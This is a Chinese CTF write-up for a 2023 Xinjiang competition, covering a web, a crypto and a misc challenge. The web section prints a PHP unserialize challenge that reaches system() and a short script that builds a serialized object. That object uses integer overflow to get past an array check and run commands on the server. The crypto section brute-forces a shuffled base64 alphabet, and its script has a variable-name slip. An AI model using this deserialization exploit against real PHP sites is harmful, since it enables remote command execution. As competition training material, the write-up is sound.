2023年新疆天山固网杯Writeup
Web
web1
<?php
header("Content-type:text/html;charset=utf-8");
show_source(__FILE__);
error_reporting(0);
class Flag{
public $a;
public $b;
public $c;
public function __construct(){
$this->a = 123123;
$this->b = 'pwd';
$this->arr = array();
}
public function __destruct(){
echo $a;
$this->arr[$this->a]=1;
if ($this->arr[]=1){
echo 'Please!!!';
}
else{
system($this->b);
}
}
}
$was = $_GET['was'];
unserialize($was);
看到是一个反序列化的
但是在destruct那里有一个array的限制,然后要使用数组整型溢出绕过
int的官方最大值
PHP_INT_MAX 官方最大值为
32平台:2147483647
64平台:9223372036854775807
然后开始构造
<?php
class Flag{
public $a;
public $b;
public $c;
public $arr;
}
$q=new Flag();
$q->a=9223372036854775807;
$q->arr=array();
$q->b='ls';
echo serialize($q);
发现一个php文件/sql_connect/sql-connect.php
打开发现是
<?php
$dbuser = 'root';
$dbpass = 'root';
$dbname = "dascctf";
$host = '127.0.0.1';
$con = mysqli_connect($host, $dbuser, $dbpass, $dbname) or die('Could not connect
to database.');
$query = "SELECT * FROM flag";
$result = mysqli_query($con, $query);
if ($result) {
while ($row = mysqli_fetch_assoc($result)) {
foreach ($row as $key => $value) {
echo "$key: $value<br>";
}
}
} else {
echo "Query failed: " . mysqli_error($con);
}
mysqli_close($con);
?>
然后修改一下可以得到flag
Crypto
这就只是b@se而已的附件
打开附件
密文:jHo0gpj5qwNVs5L3/aPVq9ZpEwCX/NZIz7jVs5Xr6pZa/5oIVg
本来是打算直接告诉你加密方式是这样的,但是我想偷个懒(
YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B
这里使用脚本跑看哪四个字符没有
import string
s = 'YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B'
j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for i in j:
if i not in s:
print(i)
s="YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B"
c="jHo0gpj5qwNVs5L3/aPVq9ZpEwCX/NZIz7jVs5Xr6pZa/5oIVg"
import string
import binascii
for i in string.ascii_letters+string.digits:
if i not in s:
print(i)
import itertools
s=['e','i','6','/']
for i in itertools.permutations(s,4):
ss="YOJyHo57WlUFzCfDgjn0Sb9ET"+"".join(i)+"sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B"
bins = ""
for j in ciper:
bins+=bin(ss.index(j))[2:].zfill(6)
print(binascii.unhexlify(hex(eval("0b"+bins))[2:-1]))
Misc
网抑云
做着做着打开了网易云
打开附件
猜测箭头所☞的地方有猫腻全选然后修改颜色得到come666
先留着应该有用然后把docx后缀改成zip
然后打开红框文件
打开以后引人注目的是一个base64编码的图片解开然后看看图片
得到这个
下载时候看到了这个
Silenteye想起来有这个工具
图片隐藏信息使用的然后使用这个工具然后上面的密码有用了。
得到一个flag.txt文件
发现是一个bubblebabble编码
使用在线网站进行解码
得到flag
评论已关闭